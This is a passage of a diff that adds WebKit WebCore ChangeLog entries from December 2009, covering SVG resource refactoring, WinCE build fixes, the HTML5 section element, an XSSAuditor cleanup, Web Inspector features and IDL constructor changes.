+        * rendering/RenderSVGGradientStop.cpp:
+        (WebCore::RenderSVGGradientStop::styleDidChange):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::selfWillPaint):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::filterBoundingBoxForRenderer):
+        * rendering/SVGRenderTreeAsText.cpp:
+        (WebCore::writeRenderResources):
+        * svg/SVGClipPathElement.cpp:
+        (WebCore::SVGClipPathElement::canvasResource):
+        * svg/SVGClipPathElement.h:
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::canvasResource):
+        * svg/SVGFilterElement.h:
+        * svg/SVGGradientElement.cpp:
+        (WebCore::SVGGradientElement::canvasResource):
+        * svg/SVGGradientElement.h:
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::svgAttributeChanged):
+        (WebCore::SVGMaskElement::childrenChanged):
+        (WebCore::SVGMaskElement::canvasResource):
+        * svg/SVGMaskElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::canvasResource):
+        * svg/SVGPatternElement.h:
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::invalidateResourcesInAncestorChain):
+        * svg/SVGStyledElement.h:
+        (WebCore::SVGStyledElement::canvasResource):
+        * svg/graphics/SVGPaintServer.cpp:
+        (WebCore::getPaintServerById):
+        (WebCore::SVGPaintServer::fillPaintServer):
+        (WebCore::SVGPaintServer::strokePaintServer):
+        * svg/graphics/SVGPaintServer.h:
+        * svg/graphics/SVGResource.cpp:
+        (WebCore::getResourceById):
+        * svg/graphics/SVGResource.h:
+        * svg/graphics/SVGResourceClipper.cpp:
+        (WebCore::getClipperById):
+        * svg/graphics/SVGResourceClipper.h:
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::getFilterById):
+        * svg/graphics/SVGResourceFilter.h:
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::getMarkerById):
+        * svg/graphics/SVGResourceMarker.h:
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::getMaskerById):
+        * svg/graphics/SVGResourceMasker.h:
+
+2009-12-27  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Cleanup RenderPath code, related to markers. Pass around
+        PaintInfo objects instead of GraphicsContext directly, to
+        avoid having to recreate a new PaintInfo object in
+        SVGResourceMarker::draw().
+
+        No layout test changes.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+        (WebCore::DrawMarkersData::DrawMarkersData):
+        (WebCore::drawMarkerWithData):
+        (WebCore::drawStartAndMidMarkers):
+        (WebCore::RenderPath::drawMarkersIfNeeded):
+        * rendering/RenderPath.h:
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::draw):
+        * svg/graphics/SVGResourceMarker.h:
+
+2009-12-27  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Eric Seidel.
+
+        WinCE buildfix (added missing header)
+
+        * platform/text/wince/TextBreakIteratorWince.cpp:
+
+2009-12-27  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Eric Seidel.
+
+        Buildfix after r50760 and some style fixes.
+
+        * rendering/RenderThemeWince.cpp:
+        (WebCore::RenderThemeWince::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeWince::paintSliderTrack):
+        (WebCore::RenderThemeWince::paintSliderThumb):
+        (WebCore::RenderThemeWince::paintMediaMuteButton):
+        (WebCore::RenderThemeWince::paintMediaPlayButton):
+
+2009-12-27  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Adam Barth.
+
+        WinCE buildfixes (missing headers and unsupported HWND_MESSAGE)
+
+        * platform/wince/MIMETypeRegistryWince.cpp:
+        * platform/wince/SearchPopupMenuWince.cpp:
+        * platform/wince/SharedTimerWince.cpp:
+        (WebCore::initializeOffScreenTimerWindow):
+
+2009-12-26  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52554.
+        http://trac.webkit.org/changeset/52554
+
+        https://bugs.webkit.org/show_bug.cgi?id=32955
+        The original change was covered under
+        https://bugs.webkit.org/show_bug.cgi?id=32913
+
+        r52554 was itself a rollout of r52536.
+        However it caused two layout tests to fail on Leopard:
+        storage/open-database-while-transaction-in-progress.html
+        svg/W3C-SVG-1.1/filters-conv-01-f.svg (no clue why?)
+
+        So I'm rolling out the rollout in an attempt to get the bots green.
+        r52554 did not explain why it was rolled out, so I do not know
+        what might fail for Chromium after this change.  I warned the folks
+        in #chromium that it was coming.
+
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+
+2009-12-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/7483622> REGRESSION (r47255): Extra Large Amount of Empty Space
+        https://bugs.webkit.org/show_bug.cgi?id=32690
+
+        Test: fast/block/float/clear-to-fit.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::getClearDelta): Only clear floats as needed to
+        fit the child on the line.
+
+2009-12-25  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Implement HTML5 section element.
+        https://bugs.webkit.org/show_bug.cgi?id=32936
+
+        <section> should behave the same as <nav>.
+
+        Test: fast/html/section-element.html
+
+        * css/html.css: Add section as a block element.
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag): Add sectionTag.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::tagPriority): Returns 5 for sectionTag.
+        (WebCore::blockTagList): Add sectionTag.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode): Add sectionTag.
+        * html/HTMLTagNames.in: Add section.
+
+2009-12-25  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32938
+
+        Cleans up XSSAuditor.
+
+        Currently, we pass various parameters through to XSSAuditor::findInRequest
+        that are used to determine how to decode the HTTP input parameters so that
+        we can perform a match against the script source. Instead, we have defined
+        a structure XSSAuditor::FindTask that can hold all of these parameters.
+
+        No functionality was changed. So, no new tests.
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canEvaluate): Modified to use struct
+        XSSAuditor::FindTask.
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL): Ditto.
+        (WebCore::XSSAuditor::canCreateInlineEventListener): Ditto.
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc): Ditto.
+        (WebCore::XSSAuditor::canLoadObject): Ditto.
+        (WebCore::XSSAuditor::canSetBaseElementURL): Ditto.
+        (WebCore::XSSAuditor::findInRequest): Ditto.
+        * page/XSSAuditor.h:
+        (WebCore::XSSAuditor::FindTask::FindTask): Added.
+
+2009-12-25  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        DOMWindow is missing lots of SVG* constructor objects
+        https://bugs.webkit.org/show_bug.cgi?id=20430
+
+        Expose all implemented SVG 1.1 constructors.
+
+        Test: svg/custom/global-constructors.js
+
+        * bindings/v8/V8Index.cpp: Add missing includes for SVGFontFaceElement & SVGMissingGlyphElement
+        * bindings/v8/V8Index.h: Add misisng SVGFontFaceElement & SVGMissingGlyphElement declarations.
+        * page/DOMWindow.idl: Add a bunch of new SVG object ctors.
+        * svg/SVGAnimatedPathData.idl: Add OmitConstructor flag, as this is a SVG MI class, which is not exposable at the moment.
+        * svg/SVGAnimatedPoints.idl: Ditto.
+
+2009-12-25  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        AuditsPanel for Web Inspector (hidden, no preset audits).
+
+        https://bugs.webkit.org/show_bug.cgi?id=31665
+
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/AuditLauncherView.js: Added.
+        (WebInspector.AuditLauncherView.categorySortFunction):
+        (WebInspector.AuditLauncherView):
+        (WebInspector.AuditLauncherView.prototype.updateResourceTrackingState):
+        (WebInspector.AuditLauncherView.prototype._setAuditRunning):
+        (WebInspector.AuditLauncherView.prototype._launchButtonClicked.profilingFinishedCallback):
+        (WebInspector.AuditLauncherView.prototype._launchButtonClicked):
+        (WebInspector.AuditLauncherView.prototype._selectAllClicked):
+        (WebInspector.AuditLauncherView.prototype._categoryClicked):
+        (WebInspector.AuditLauncherView.prototype._createCategoryElement):
+        (WebInspector.AuditLauncherView.prototype._createLauncherUI):
+        (WebInspector.AuditLauncherView.prototype._updateButton):
+        (WebInspector.AuditLauncherView.prototype.resize):
+        * inspector/front-end/AuditResultView.js: Added.
+        (WebInspector.AuditResultView.entrySortFunction):
+        (WebInspector.AuditResultView):
+        (WebInspector.AuditCategoryResultPane):
+        (WebInspector.AuditRuleResultPane):
+        (WebInspector.AuditRuleResultPane.prototype._decorateRuleResult):
+        (WebInspector.AuditRuleResultChildSection):
+        (WebInspector.AuditRuleResultChildSection.prototype.set title):
+        (WebInspector.AuditRuleResultChildSection.prototype.expand):
+        * inspector/front-end/AuditsPanel.js: Added.
+        (WebInspector.AuditsPanel):
+        (WebInspector.AuditsPanel.prototype.toolbarItemClass.get toolbarItemLabel):
+        (WebInspector.AuditsPanel.prototype.get statusBarItems):
+        (WebInspector.AuditsPanel.prototype.get mainResourceLoadTime):
+        (WebInspector.AuditsPanel.prototype.set mainResourceLoadTime):
+        (WebInspector.AuditsPanel.prototype.get mainResourceDOMContentTime):
+        (WebInspector.AuditsPanel.prototype.set mainResourceDOMContentTime):
+        (WebInspector.AuditsPanel.prototype.get categoriesById):
+        (WebInspector.AuditsPanel.prototype.get visibleView):
+        (WebInspector.AuditsPanel.prototype._constructCategories):
+        (WebInspector.AuditsPanel.prototype._executeAudit.ruleResultReadyCallback):
+        (WebInspector.AuditsPanel.prototype._executeAudit):
+        (WebInspector.AuditsPanel.prototype._auditFinishedCallback):
+        (WebInspector.AuditsPanel.prototype.initiateAudit.initiateAuditCallback):
+        (WebInspector.AuditsPanel.prototype.initiateAudit):
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        (WebInspector.AuditsPanel.prototype._didMainResourceLoad):
+        (WebInspector.AuditsPanel.prototype.showResults):
+        (WebInspector.AuditsPanel.prototype.showLauncherView):
+        (WebInspector.AuditsPanel.prototype.showView):
+        (WebInspector.AuditsPanel.prototype.show):
+        (WebInspector.AuditsPanel.prototype.attach):
+        (WebInspector.AuditsPanel.prototype.resize):
+        (WebInspector.AuditsPanel.prototype.updateMainViewWidth):
+        (WebInspector.AuditsPanel.prototype._updateLauncherViewControls):
+        (WebInspector.AuditsPanel.prototype._clearButtonClicked):
+        (WebInspector.AuditsPanel.prototype._closeVisibleView):
+        (WebInspector.AuditCategory):
+        (WebInspector.AuditCategory.prototype.get id):
+        (WebInspector.AuditCategory.prototype.get displayName):
+        (WebInspector.AuditCategory.prototype.get ruleCount):
+        (WebInspector.AuditCategory.prototype.addRule):
+        (WebInspector.AuditCategory.prototype.runRules):
+        (WebInspector.AuditRule):
+        (WebInspector.AuditRule.prototype.get id):
+        (WebInspector.AuditRule.prototype.get displayName):
+        (WebInspector.AuditRule.prototype.run):
+        (WebInspector.AuditRule.prototype.doRun):
+        (WebInspector.AuditRule.prototype.getValue):
+        (WebInspector.AuditCategoryResult):
+        (WebInspector.AuditCategoryResult.prototype.addEntry):
+        (WebInspector.AuditRuleResult):
+        (WebInspector.AuditRuleResult.prototype.appendChild):
+        (WebInspector.AuditRuleResult.prototype.set type):
+        (WebInspector.AuditRuleResult.prototype.get type):
+        (WebInspector.AuditsSidebarTreeElement):
+        (WebInspector.AuditsSidebarTreeElement.prototype.onattach):
+        (WebInspector.AuditsSidebarTreeElement.prototype.onselect):
+        (WebInspector.AuditsSidebarTreeElement.prototype.get selectable):
+        (WebInspector.AuditsSidebarTreeElement.prototype.refresh):
+        (WebInspector.AuditResultSidebarTreeElement):
+        (WebInspector.AuditResultSidebarTreeElement.prototype.onselect):
+        (WebInspector.AuditResultSidebarTreeElement.prototype.get selectable):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/audits.css: Added.
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+        (WebInspector.updateResource):
+
+2009-12-25  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement Edit Inner HTML action.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32924
+
+        * English.lproj/localizedStrings.js:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::V8InjectedScriptHost::pushNodePathToFrontendCallback):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::pushNodePathToFrontend):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorDOMAgent.h:
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.show):
+        (WebInspector.ElementsPanel.prototype._updateModifiedNodesSoon):
+        (WebInspector.ElementsPanel.prototype.updateModifiedNodes):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._populateTagContextMenu):
+        (WebInspector.ElementsTreeElement.prototype._startEditingAsHTML.commit):
+        (WebInspector.ElementsTreeElement.prototype._startEditingAsHTML.dispose):
+        (WebInspector.ElementsTreeElement.prototype._startEditingAsHTML):
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getNodePropertyValue):
+        (InjectedScript.setOuterHTML):
+        (InjectedScript.performSearch.addNodesToResults):
+        (InjectedScript._inspectObject):
+        (InjectedScript._copy):
+        (InjectedScript.pushNodeToFrontend):
+        * inspector/front-end/InjectedScriptAccess.js:
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        (.WebInspector.InspectorFrontendHostStub.prototype.hiddenPanels):
+        (.WebInspector.InspectorFrontendHostStub.prototype.windowUnloading):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.startEditing.keyDownEventListener):
+        (WebInspector.startEditing):
+
+2009-12-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Console should force long URLs to wrap
+        https://bugs.webkit.org/show_bug.cgi?id=32927
+
+        * inspector/front-end/inspector.css: Added "word-wrap: break-word;" to
+        the #console-messages rule.
+
+2009-12-24  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Unreviewed Chromium test fix by reverting r52536.
+
+        Do not a new Database pointer to any structure until its version has been verified
+        https://bugs.webkit.org/show_bug.cgi?id=32913
+
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+
+2009-12-24  Jessie Berlin  <jberlin@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for WebKit bug 29968 - Selecting text with text-overflow ellipsis
+        should not show cut off text
+        https://bugs.webkit.org/show_bug.cgi?id=29968
+
+        Also fixes the issue on both Mac OS X and Windows where the highlight
+        would extend only partway into the ellipsis based on the size of the
+        characters being truncated.
+
+        Test: editing/selection/select-text-overflow-ellipsis.html
+
+        * rendering/EllipsisBox.cpp:
+        (WebCore::EllipsisBox::paint):
+        When the ellipsis have been selected, paints them with the color for
+        selected text.
+        (WebCore::EllipsisBox::selectionRect):
+        Returns the selection rect for the ellipsis text.
+        (WebCore::EllipsisBox::paintSelection):
+        Paints the selection highlight around the ellipsis text.
+
+        * rendering/EllipsisBox.h:
+        (WebCore::EllipsisBox::EllipsisBox):
+        Default the selection state of the EllipsisBox to SelectionNone.
+        (WebCore::EllipsisBox::setSelectionState):
+        Allow the selection state to be explicitly set by the InlineTextBox
+        that it is associated with, since the selection state depends on the
+        position of the selection within the truncated text.
+        (WebCore::EllipsisBox::selectionState):
+        Return the cached selection state.
+        
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::selectionState):
+        If the text is truncated and the selection extends into the truncation
+        where there are ellipsis, set the selection state on the EllipsisBox.
+        (WebCore::paintTextWithShadows):
+        Allow for an upper bound to be specified on the maximum length of the
+        text to be painted.
+        (WebCore::InlineTextBox::paint):
+        Make sure the text that is drawn gets appropriately truncated. This was
+        not an issue before on Mac OS X because it wasn't necessary to draw the
+        selected text separately (the selected text had the same color as the
+        non-selected text).
+        (WebCore::InlineTextBox::paintSelection):
+        If the text is being truncated, let whatever is being painted in the
+        space after the truncated text paint its own highlight. 
+        
+        * rendering/InlineTextBox.h:
+        (WebCore::InlineTextBox::truncation):
+        Allow RenderText to access the truncation status.
+        
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::selectionRectForRepaint):
+        Make sure that any ellipsis box that falls within the selection also
+        gets repainted.
+
+2009-12-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: add Settings.js class that would manage
+        frontend settings.
+
+        This change:
+        - Splits preferences and settings
+        - Pushes settings to the frontend on load
+        - Stores settings on each change
+        - Stores showInheritedStyles as setting.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32832
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::saveFrontendSettings):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::populateFrontendSettings):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorFrontendHost.cpp:
+        * inspector/InspectorFrontendHost.h:
+        * inspector/InspectorFrontendHost.idl:
+        * inspector/front-end/EventListenersSidebarPane.js:
+        (WebInspector.EventListenersSidebarPane.prototype._settingsLoaded):
+        (WebInspector.EventListenersSidebarPane.prototype):
+        ():
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub):
+        (.WebInspector.InspectorBackendStub.prototype.saveFrontendSettings):
+        (.WebInspector.InspectorBackendStub.prototype.releaseWrapperObjectGroup):
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        (.WebInspector.InspectorFrontendHostStub):
+        (.WebInspector.InspectorFrontendHostStub.prototype.hiddenPanels):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype._createStatusbarButtons):
+        (WebInspector.ResourcesPanel.prototype._settingsLoaded):
+        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
+        (WebInspector.ResourcesPanel.prototype._setLargerResources):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        (WebInspector.ScriptsPanel.prototype._addScriptToFilesMenu):
+        * inspector/front-end/Settings.js: Added.
+        (WebInspector.populateFrontendSettings):
+        (WebInspector.Settings):
+        (WebInspector.Settings.prototype._load):
+        (WebInspector.Settings.prototype._installSetting):
+        (WebInspector.Settings.prototype._get):
+        (WebInspector.Settings.prototype._set):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._settingsLoaded):
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylesSidebarPane.prototype._changeSetting):
+        (WebInspector.StylesSidebarPane.prototype._changeColorFormat):
+        (WebInspector.StylePropertiesSection.showInheritedToggleFunction):
+        (WebInspector.StylePropertiesSection):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSidebarPane):
+        (WebInspector.WatchExpressionsSidebarPane.prototype._settingsLoaded):
+        (WebInspector.WatchExpressionsSidebarPane.prototype.refreshExpressions):
+        (WebInspector.WatchExpressionsSection):
+        (WebInspector.WatchExpressionsSection.prototype.saveExpressions):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+
+2009-12-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: [REGRESSION] console's clear command does not work.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32897
+
+        Test: inspector/console-clear.html
+
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::clearConsoleMessages):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::didCommitLoad):
+        * inspector/InspectorController.h:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView):
+        (WebInspector.ConsoleView.prototype.requestClearConsoleMessages):
+        (WebInspector.ConsoleView.prototype.clearConsoleMessages):
+        (WebInspector.ConsoleView.prototype._clearButtonClicked):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.clearConsoleMessages):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        * inspector/front-end/InjectedScriptAccess.js:
+        * inspector/front-end/inspector.js:
+        (WebInspector.clearConsoleMessages):
+        (WebInspector.reset):
+
+2009-12-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Console dumps strings in escaped form.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32488
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype._formatIndividualValue):
+
+2009-12-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32905
+        With Pinyin Simplified IM, a wrong character is deleted from google.com suggestion
+
+        Test: platform/mac/editing/input/selection-change-closes-typing.html
+
+        * editing/Editor.cpp: (WebCore::Editor::confirmComposition): If this function wasn't allowed
+        to change selection, it needs to close the current typing command - otherwise, its idea of
+        selection would be used for future typing.
+
+2009-12-23  Yuta Kitamura  <yutak@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        PlatformContextSkia::beginLayerClippedToImage() needs to clip outside of the image.
+        
+        This method should limit the current painting window to the bounds of the given
+        image, but it did not. Due to this bug, unnecessary contents were rendered in
+        some (limited) situations.
+
+        [Skia] PlatformContextSkia::beginLayerClippedToImage does not clip outside of the image
+        https://bugs.webkit.org/show_bug.cgi?id=32817
+        
+        No new tests, because this is a fix of an existing test which is currently failing in
+        Chromium.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::beginLayerClippedToImage): Add clipRect() call.
+
+2009-12-23  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Rubber-stamped by Eric Seidel.
+
+        Remove all references to "GenerateConstructor", as this is the default behaviour now.
+
+        * css/CSSCharsetRule.idl:
+        * css/CSSFontFaceRule.idl:
+        * css/CSSImportRule.idl:
+        * css/CSSMediaRule.idl:
+        * css/CSSPageRule.idl:
+        * css/CSSPrimitiveValue.idl:
+        * css/CSSRule.idl:
+        * css/CSSRuleList.idl:
+        * css/CSSStyleDeclaration.idl:
+        * css/CSSStyleRule.idl:
+        * css/CSSStyleSheet.idl:
+        * css/CSSValue.idl:
+        * css/CSSValueList.idl:
+        * css/CSSVariablesDeclaration.idl:
+        * css/CSSVariablesRule.idl:
+        * css/Counter.idl:
+        * css/Media.idl:
+        * css/MediaList.idl:
+        * css/RGBColor.idl:
+        * css/Rect.idl:
+        * css/StyleSheet.idl:
+        * css/StyleSheetList.idl:
+        * css/WebKitCSSKeyframeRule.idl:
+        * css/WebKitCSSKeyframesRule.idl:
+        * css/WebKitCSSTransformValue.idl:
+        * dom/Attr.idl:
+        * dom/BeforeLoadEvent.idl:
+        * dom/CDATASection.idl:
+        * dom/CharacterData.idl:
+        * dom/ClientRect.idl:
+        * dom/ClientRectList.idl:
+        * dom/Clipboard.idl:
+        * dom/Comment.idl:
+        * dom/CompositionEvent.idl:
+        * dom/DOMCoreException.idl:
+        * dom/DOMImplementation.idl:
+        * dom/Document.idl:
+        * dom/DocumentFragment.idl:
+        * dom/DocumentType.idl:
+        * dom/Element.idl:
+        * dom/Entity.idl:
+        * dom/EntityReference.idl:
+        * dom/ErrorEvent.idl:
+        * dom/Event.idl:
+        * dom/EventException.idl:
+        * dom/KeyboardEvent.idl:
+        * dom/MessageEvent.idl:
+        * dom/MessagePort.idl:
+        * dom/MouseEvent.idl:
+        * dom/MutationEvent.idl:
+        * dom/NamedNodeMap.idl:
+        * dom/Node.idl:
+        * dom/NodeFilter.idl:
+        * dom/NodeIterator.idl:
+        * dom/NodeList.idl:
+        * dom/Notation.idl:
+        * dom/OverflowEvent.idl:
+        * dom/PageTransitionEvent.idl:
+        * dom/PopStateEvent.idl:
+        * dom/ProcessingInstruction.idl:
+        * dom/ProgressEvent.idl:
+        * dom/Range.idl:
+        * dom/RangeException.idl:
+        * dom/Text.idl:
+        * dom/TextEvent.idl:
+        * dom/Touch.idl:
+        * dom/TouchEvent.idl:
+        * dom/TouchList.idl:
+        * dom/TreeWalker.idl:
+        * dom/UIEvent.idl:
+        * dom/WebKitAnimationEvent.idl:
+        * dom/WebKitTransitionEvent.idl:
+        * dom/WheelEvent.idl:
+        * html/DataGridColumn.idl:
+        * html/DataGridColumnList.idl:
+        * html/File.idl:
+        * html/FileList.idl:
+        * html/HTMLAllCollection.idl:
+        * html/HTMLAnchorElement.idl:
+        * html/HTMLAppletElement.idl:
+        * html/HTMLAreaElement.idl:
+        * html/HTMLAudioElement.idl:
+        * html/HTMLBRElement.idl:
+        * html/HTMLBaseElement.idl:
+        * html/HTMLBaseFontElement.idl:
+        * html/HTMLBlockquoteElement.idl:
+        * html/HTMLBodyElement.idl:
+        * html/HTMLButtonElement.idl:
+        * html/HTMLCanvasElement.idl:
+        * html/HTMLCollection.idl:
+        * html/HTMLDListElement.idl:
+        * html/HTMLDataGridCellElement.idl:
+        * html/HTMLDataGridColElement.idl:
+        * html/HTMLDataGridElement.idl:
+        * html/HTMLDataGridRowElement.idl:
+        * html/HTMLDataListElement.idl:
+        * html/HTMLDirectoryElement.idl:
+        * html/HTMLDivElement.idl:
+        * html/HTMLDocument.idl:
+        * html/HTMLElement.idl:
+        * html/HTMLEmbedElement.idl:
+        * html/HTMLFieldSetElement.idl:
+        * html/HTMLFontElement.idl:
+        * html/HTMLFormElement.idl:
+        * html/HTMLFrameElement.idl:
+        * html/HTMLFrameSetElement.idl:
+        * html/HTMLHRElement.idl:
+        * html/HTMLHeadElement.idl:
+        * html/HTMLHeadingElement.idl:
+        * html/HTMLHtmlElement.idl:
+        * html/HTMLIFrameElement.idl:
+        * html/HTMLImageElement.idl:
+        * html/HTMLInputElement.idl:
+        * html/HTMLIsIndexElement.idl:
+        * html/HTMLLIElement.idl:
+        * html/HTMLLabelElement.idl:
+        * html/HTMLLegendElement.idl:
+        * html/HTMLLinkElement.idl:
+        * html/HTMLMapElement.idl:
+        * html/HTMLMarqueeElement.idl:
+        * html/HTMLMediaElement.idl:
+        * html/HTMLMenuElement.idl:
+        * html/HTMLMetaElement.idl:
+        * html/HTMLModElement.idl:
+        * html/HTMLOListElement.idl:
+        * html/HTMLObjectElement.idl:
+        * html/HTMLOptGroupElement.idl:
+        * html/HTMLOptionElement.idl:
+        * html/HTMLParagraphElement.idl:
+        * html/HTMLParamElement.idl:
+        * html/HTMLPreElement.idl:
+        * html/HTMLQuoteElement.idl:
+        * html/HTMLScriptElement.idl:
+        * html/HTMLSelectElement.idl:
+        * html/HTMLSourceElement.idl:
+        * html/HTMLStyleElement.idl:
+        * html/HTMLTableCaptionElement.idl:
+        * html/HTMLTableCellElement.idl:
+        * html/HTMLTableColElement.idl:
+        * html/HTMLTableElement.idl:
+        * html/HTMLTableRowElement.idl:
+        * html/HTMLTableSectionElement.idl:
+        * html/HTMLTextAreaElement.idl:
+        * html/HTMLTitleElement.idl:
+        * html/HTMLUListElement.idl:
+        * html/HTMLVideoElement.idl:
+        * html/ImageData.idl:
+        * html/MediaError.idl:
+        * html/TextMetrics.idl:
+        * html/canvas/CanvasNumberArray.idl:
+        * html/canvas/CanvasRenderingContext.idl:
+        * html/canvas/CanvasRenderingContext2D.idl:
+        * html/canvas/WebGLRenderingContext.idl:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorFrontendHost.idl:
+        * page/PositionError.idl:
+        * plugins/MimeType.idl:
+        * plugins/MimeTypeArray.idl:
+        * plugins/Plugin.idl:
+        * plugins/PluginArray.idl:
+        * storage/Storage.idl:
+        * storage/StorageEvent.idl:
+        * svg/SVGAngle.idl:
+        * svg/SVGColor.idl:
+        * svg/SVGComponentTransferFunctionElement.idl:
+        * svg/SVGException.idl:
+        * svg/SVGFEBlendElement.idl:
+        * svg/SVGFEColorMatrixElement.idl:
+        * svg/SVGFECompositeElement.idl:
+        * svg/SVGFEDisplacementMapElement.idl:
+        * svg/SVGFEFloodElement.idl:
+        * svg/SVGFEMorphologyElement.idl:
+        * svg/SVGFETurbulenceElement.idl:
+        * svg/SVGGradientElement.idl:
+        * svg/SVGLength.idl:
+        * svg/SVGMarkerElement.idl:
+        * svg/SVGPaint.idl:
